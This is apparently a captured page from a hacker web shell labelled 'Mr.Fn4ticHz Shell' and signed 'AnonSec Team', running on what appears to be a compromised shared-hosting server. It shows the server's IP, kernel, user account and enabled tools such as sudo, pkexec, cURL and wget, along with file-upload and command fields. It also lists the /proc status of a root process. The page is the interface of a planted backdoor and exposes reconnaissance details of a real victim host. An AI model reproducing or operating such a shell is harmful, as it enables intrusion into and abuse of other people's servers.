Mr.Fn4ticHz Shell
Server IP : 162.240.98.243  /  Your IP : 3.138.143.63
Web Server : Apache
System : Linux server.bti.yaw.mybluehostin.me 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : btiyawmy ( 1003)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/569/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /proc/569/status
Name:	abrt-watch-log
Umask:	0022
State:	S (sleeping)
Tgid:	569
Ngid:	0
Pid:	569
PPid:	1
TracerPid:	0
Uid:	0	0	0	0
Gid:	0	0	0	0
FDSize:	64
Groups:	
VmPeak:	  226228 kB
VmSize:	  225900 kB
VmLck:	       0 kB
VmPin:	       0 kB
VmHWM:	    4996 kB
VmRSS:	      96 kB
RssAnon:	      40 kB
RssFile:	      56 kB
RssShmem:	       0 kB
VmData:	     512 kB
VmStk:	     132 kB
VmExe:	      12 kB
VmLib:	   17764 kB
VmPTE:	     248 kB
VmSwap:	    1440 kB
Threads:	1
SigQ:	0/7269
SigPnd:	0000000000000000
ShdPnd:	0000000000000000
SigBlk:	0000000000000000
SigIgn:	0000000000001000
SigCgt:	0000000180000000
CapInh:	0000000000000000
CapPrm:	0000001fffffffff
CapEff:	0000001fffffffff
CapBnd:	0000001fffffffff
CapAmb:	0000000000000000
NoNewPrivs:	0
Seccomp:	0
Speculation_Store_Bypass:	thread vulnerable
Cpus_allowed:	3
Cpus_allowed_list:	0-1
Mems_allowed:	00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000001
Mems_allowed_list:	0
voluntary_ctxt_switches:	163324
nonvoluntary_ctxt_switches:	25

Anon7 - 2022
AnonSec Team